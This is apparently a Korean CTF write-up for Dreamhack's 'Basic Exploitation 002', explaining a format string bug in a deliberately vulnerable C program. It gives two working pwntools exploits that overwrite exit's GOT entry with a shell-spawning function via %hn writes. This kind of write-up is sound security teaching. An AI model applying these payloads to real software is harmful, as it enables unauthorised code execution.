Dreamhack | Basic Exploitation 002
Dreamhack-Pwnable Basic Exploitation 002
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
Format String Bug 커리큘럼이다. 포맷 스트링은 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없기에 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.
또한, 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
void get_shell() {
system("/bin/sh");
}
- 친절하게
system("/bin/sh");를 부를 수 있는 함수가 선언되어 있다.
char buf[0x80];
initialize();
read(0, buf, 0x80);
read함수는 buf에 대한 크기에 대해서 read하기에 BOF가 불가능하다.
printf(buf);
printf()의 일반 형태가 아니다. 이렇게 인자가 잘못된 경우 FSB가 가능하다.
exit(0);
-
exit(0);함수를 통해 무엇을 하던 종료가 되는 것을 알 수 있다. 하지만, Partial RELRO이기에 GOT Overwrite가 가능하다. -
get_shell()가 있으므로,exit(0)의 GOT를get_shell()주소로 덮어 씌우면 프로세스가 종료되는 것이 아닌system호출이 가능하다. -
시나리오
-
printf(buf);를 통한 입력값 위치 확인 -
해당 위치를 통한
get_shell()주소 삽입 -
주소 삽입은 형식 지정자를 통해서 진행
-
위처럼 AAAA.%x.%x.%x.%x.%x를 입력 했을 때이렇게 첫번째 %x 서식 문자에 우리가 입력한 AAAA를 인자로 받는 것을 알 수 있다.
포맷 스트링에서 참조할 인자의 인덱스를 지정하는 방법으로는 필드의 끝을 $로 표기하는 것이다. printf()로 특정 주소의 값을 변경할 수 있는 format은 %n으로 인자에 현재까지 사용된 문자열의 길이를 저장하는 것이 있다.
payload =
exit_got 주소+get_shell 주소
그렇다면, get_shell의 주소만큼의 문자열을 넣어 해당 값을 %n를 통해서 exit_got에 넣으면 된다.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x8048609 <get_shell>
pwndbg> p exit
$1 = {<text variable, no debug info>} 0x8048470 <exit@plt>
pwndbg> x/3i exit
0x8048470 <exit@plt>: jmp DWORD PTR ds:0x804a024
0x8048476 <exit@plt+6>: push 0x30
0x804847b <exit@plt+11>: jmp 0x8048400
-
get_shell : int(0x8048609) =
134,514,185 -
exit_ got :
0x804a024
printf(p32(0x804a024) + %134514185-4c%1$n)
-
%134514185c: get_shell의 주소 값 0x8048609 만큼의 문자열 길이 -
%n: %134514185-4c 제일 앞단에 사용한exit_got(4byte)를 뺀 만큼의 문자열 길이를 첫번째 참조 값에 저장 -
1$:printf(buf)는 첫번째의 인자의 값을 가져오기에1$로 첫번째 인자를 참조하겠다 명시
하지만, 1억 3천만개의 스페이스 문자를 입력하기에는 alarm(30);로 인해 TIME OUT될 가능성이 크기에 두 번으로 나눠 페이로드를 전송한다.
현재 파일은 32bit체재로 exit_got 또한 32bit, 총 4byte 이므로 [exit_got]와 [exit_got+2] 이렇게 나눠서 전송하면 가능하다.
from pwn import *
context.log_level = 'debug'
p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
#p = remote("host1.dreamhack.games", 15758)
exit = e.got['exit'] # 0x804a024
payload = p32(exit+2) + p32(exit) + b"%2044c%1$hn%32261c%2$hn"
# 0x8048609
p.send(payload)
p.interactive()
-
%n: 4byte,%hn: 2byte,%hhn: 1byte 전송 -
[exit+2]=%2044c -
[exit]=%32261c -
%2044c= 0x804 - 8 (0x7fc)- 8을 뺀 이유 :
p32(exit+2) + p32(exit)총 8byte 전달했기에 get_shell의 앞 2byte0x804를 맞추기 위해 0x7fc를 전송(0x7fc과 앞에 전달한 8byte를 더하면 0x804)
- 8을 뺀 이유 :
-
%32261c= 앞 8byte +%2044c(0x7fc) + 0x7e05 =0x8609get_shell의 뒷 8byte의 값이 나오기에 이렇게 전달
from pwn import *
p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
exit = e.got['exit']
payload = fmtstr_payload(1, {e.got['exit'] : e.symbols['get_shell']})
p.send(payload)
p.interactive()
이와 같이 pwntools에서 제공하는 함수를 통한 쉬운 포맷스트링 페이로드 작성도 가능하다.